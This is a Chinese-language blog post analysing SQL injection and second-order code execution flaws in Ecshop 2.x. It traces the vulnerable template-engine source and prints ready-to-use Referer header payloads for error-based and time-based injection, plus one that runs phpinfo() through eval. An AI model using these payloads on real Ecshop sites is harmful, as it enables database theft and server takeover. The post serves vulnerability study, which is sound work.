C1imber's Blog

Ecshop2.x注入漏洞&代码执行漏洞分析

字数统计: 3.2k阅读时长: 14 min
2018/09/07 Share

Ecshop2.x注入漏洞&代码执行漏洞分析

Ecshop最近爆出了两个高危漏洞,分别是SQL注入漏洞和代码执行漏洞,刚好自己在学代码审计方面的知识,于是自己针对两个漏洞的成因分析了一波,发现这是一个很有意思的二次漏洞,在这将整个学习过程做个记录

SQL注入漏洞分析

在分析漏洞之前首先来看其中的一个payload

访问:http://site/user.php?act=login
然后在http请求头里面添加:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

由payload看到漏洞的入口位置在user.php这个文件内,通过act=login关键字定位到相关的代码位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* 用户登录界面 */
elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}
}
$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}
$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}

传入的Referer的值被$GLOBALS['_SERVER']['HTTP_REFERER']这个服务器全局变量接收后到赋值给$back_act,之后$back_act变量作为参数传入assign方法,这个函数的功能主要用于注册模板变量,之后$back_act变量的值便赋值给了模板文件当中的$back_act变量,注册模板变量的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 注册变量
*
* @access public
* @param mix $tpl_var
* @param mix $value
*
* @return void
*/
function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}

之后回到user.php,又调用了display这个方法,传入的参数是user_passport.dwt这个模板文件(这时模板文件当中的$back_act变量已经被注册为传入的Referer值),模板文件关键内容如下

mark
跟进到display函数代码的相关位置,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* 显示页面函数
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return void
*/
function display($filename, $cache_id = '')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);
$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);
if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;
echo $out;
}

display函数当中的fetch方法会对user_passport.dwt这个模板文件当中的变量进行解析,这时模板文件当中的$back_act变量和模板当中其它的变量经过fetch函数里面的make_compiled函数后被解析,经过处理之后的模板文件内容将返回给$out这个变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
/**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
if ($this->_checkfile)
{
if (!file_exists($filename))
{
$filename = $this->template_dir . '/' . $filename;
}
}
else
{
$filename = $this->template_dir . '/' . $filename;
}
if ($this->direct_output)
{
$this->_current_file = $filename;
$out = $this->_eval($this->fetch_str(file_get_contents($filename)));
}
else
{
if ($cache_id && $this->caching)
{
$out = $this->template_out;
}
else
{
if (!in_array($filename, $this->template))
{
$this->template[] = $filename;
}
$out = $this->make_compiled($filename);
if ($cache_id)
{
$cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id;
$data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime));
$out = str_replace("\r", '', $out);
while (strpos($out, "\n\n") !== false)
{
$out = str_replace("\n\n", "\n", $out);
}
$hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1);
if (!is_dir($hash_dir))
{
mkdir($hash_dir);
}
if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php');
}
$this->template = array();
}
}
}
}
$this->_seterror--;
if (!$this->_seterror)
{
error_reporting($this->_errorlevel);
}
return $out; // 返回html数据
}

之后判断返回的$out内容中是否有_echash这个值,如果存在,_echash的值将作为分割符对$out的内容进行分割,返回一个索引数组,将索引值为奇数的数组值传入insert_mod方法,ecshop2.x的_echash值如下

mark

这也就是之前payload里面的那串hash值,这时payload当中_echash后面的那些内容ads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}就会被传入insert_mod方法

跟进insert_mode这个函数

1
2
3
4
5
6
7
8
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;
return $fun($para);
}

此时传入的内容$nameads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;},之后使用expload函数以|为分割符将传入的内容分为两部分,第一部分为ads,与insert_拼接后做为该函数的回调函数insert_ads,第二部为a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}这个序列化字符串,经过unserialize函数处理后返回一个数组,这个数组会被当作回调函数insert_ads的参数,接下来定位到insert_ads这个函数的位置,和SQL注入相关的代码部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
...后面的代码忽略

可以看到将数组的值直接拼接到了sql语句中,所以到这已经成功定位到了注入漏洞的位置,在这里可以注入的位置有两个,分别是$arr['id']的位置和$arr['num']的位置,由于注入点的不同,构造payload的方式也不同,通过之前的一步步分析,payload的构造格式也很清楚了,需要写成echash+ads+序列化处理后的索引数组(里面的键值为注入的payload),下面来构造payload

首先是$arr['id']这个位置,关于这个位置无需多说,使用正常的报错注入方法就行,构造payload
mark

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:4:"name";i:1;s:2:"id";s:49:"' and extractvalue(1,concat(0x3a,user(),0x3a))-- ";}

可以看到成功报错出了数据库的信息
mark

接下来是$arr['num']这个位置的注入,这个位置的注入比较特殊,因为它在limit的后面,因为mysql的语法规则,在limit后面只能使用procedure analyse这个函数去进行报错注入,并且有很多的局限性,下面先来简单说一下有关这个函数的使用

1.该函数的参数为两个,并且只有两个参数时才能报错,两个参数的位置均可以报错
2.使用updatexml,extractvalue等报错函数报错查询数据时,不能在报错函数内使用select关键字查询数据
3.可以时间盲注,但是不能使用sleep函数,但是可以使用benchmark函数取替代sleep

报错注入利用
mark
时间盲注利用
mark
构造payload
mark

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:63:"0,1 procedure analyse(extractvalue(1,concat(0x3a,user())),1)-- ";s:2:"id";i:1;}

mark

代码执行漏洞分析

以下payload用于执行phpinfo()

访问:http://site/user.php?act=login
然后在http请求头里面添加:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

mark
首先继续看insert_ads函数,这里的代码执行是一个经典的二次漏洞,相关的重要代码部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$position_style = '';
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
...省略无关部分
}
}
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;

之前的过程和注入漏洞过程一样,经过一系列处理后,$arr['id']的值变为' /*,$arr['num']的值变为*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b706870696e666f2f2a2a2f28293b2f2f7d,10-- -,之后$arr['id']$arr['num']拼接进sql语句后执行的sql如下

1
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop273`.`ecs_ad` AS a LEFT JOIN `ecshop273`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1539915783' AND end_time >= '1539915783' AND a.position_id = '' /*' ORDER BY rnd LIMIT */ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -

mark

这里需要满足一个条件,那就是传入的$arr['id']要与sql语句执行结果的$row['position_id']值相等,当这一条件满足,就将字符串str:与执行结果$row['position_style']连接后赋值给$position_style变量,这时$position_style的值变为:

1
str:{$abc'];echo phpinfo/**/();//}

之后将$position_style再次传入fetch方法,这时候满足条件的代码部分如下:

1
2
3
4
5
6
7
8
9
function fetch($filename, $cache_id = '')
{
...省略部分
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
...省略部分
}

可以看到这里就是存在二次漏洞的点,_eval函数将传入的$position_style,也就是sql语句执行的结果当做代码执行了,不过在_eval执行之前,传入了内容首先经过substr截取处理后传入了fetch_str函数,于是定位到fetch_str函数,相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 处理字符串函数
*
* @access public
* @param string $source
*
* @return sring
*/
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
}

传入的内容为:

1
{$abc'];echo phpinfo/**/();//}

这里绕过了第一个正则对危险字符的检测,直接到了函数代码最后一行

1
preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

这里将传入的内容进行匹配,\\1为匹配到的第一个元组,之后将匹配到的第一个元组值传入select函数,\\1的值如下

1
$abc'];echo phpinfo/**/();//

之后定位到select函数,关键代码部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* 处理{}标签
*
* @access public
* @param string $tag
*
* @return sring
*/
function select($tag)
{
...省略部分
elseif ($tag{0} == '$') // 变量
{
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
}
...省略部分
}

因为传入的内容第一个字符为$,所以满足该条件分支,之后将传入的内容经过substr截取处理后传入了get_val函数,这时传入的参数值变为了

1
abc'];echo phpinfo/**/();//

定位到get_val函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
* 处理smarty标签中的变量标签
*
* @access public
* @param string $val
*
* @return bool
*/
function get_val($val)
{
if (strrpos($val, '[') !== false)
{
$val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
}
if (strrpos($val, '|') !== false)
{
$moddb = explode('|', $val);
$val = array_shift($moddb);
}
if (empty($val))
{
return '';
}
if (strpos($val, '.$') !== false)
{
$all = explode('.$', $val);
foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
}
$p = implode('', $all);
}
else
{
$p = $this->make_var($val);
}
...省略部分
return $p;
}

由于传入的内容当中没有[|.$,所以不符合前三个条件,直接进入make_var函数,定位到make_var函数,相关的重要代码部分如下

1
2
3
4
5
6
7
8
9
10
11
12
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
...省略部分
}

由于传入的内容里面没有.所以满足第一个条件分支,传入的最终payload$val

1
abc'];echo phpinfo/**/();//

在拼接的时候闭合了前面'],之后$p变量的值变为了

1
$this->_var['abc'];echo phpinfo/**/();//']

之后$p依次经过make_varget_val两个函数后返回到了select函数内,然后select函数拼接处理后返回值变为

1
<?php echo $this->_var['abc'];echo phpinfo/**/();//']; ?>

之后回到fetch_str函数内,此时preg_replace的第二个参数$this->select('\\1');结果就变为了

1
<?php echo $this->_var['abc'];echo phpinfo/**/();//']; ?>

之后preg_replace函数执行的结果就变为了

1
{<?php echo $this->_var['abc'];echo phpinfo/**/();//']; ?>}

之后上述值作为fetch_str函数的返回值会进入_eval函数内产生代码执行,执行phpinfo,_eval函数如下

1
2
3
4
5
6
7
8
9
function _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();
return $content;
}

最终php的eval函数执行的代码如下

1
<?php ...省略部分?>{<?php echo $this->_var['abc'];echo phpinfo/**/();//']; ?>}

以上就是代码执行漏洞的执行过程,可以看到整个过程还是比较有意思的

CATALOG
  1. 1. Ecshop2.x注入漏洞&代码执行漏洞分析
    1. 1.0.1.
    2. 1.0.2. SQL注入漏洞分析
    3. 1.0.3. 代码执行漏洞分析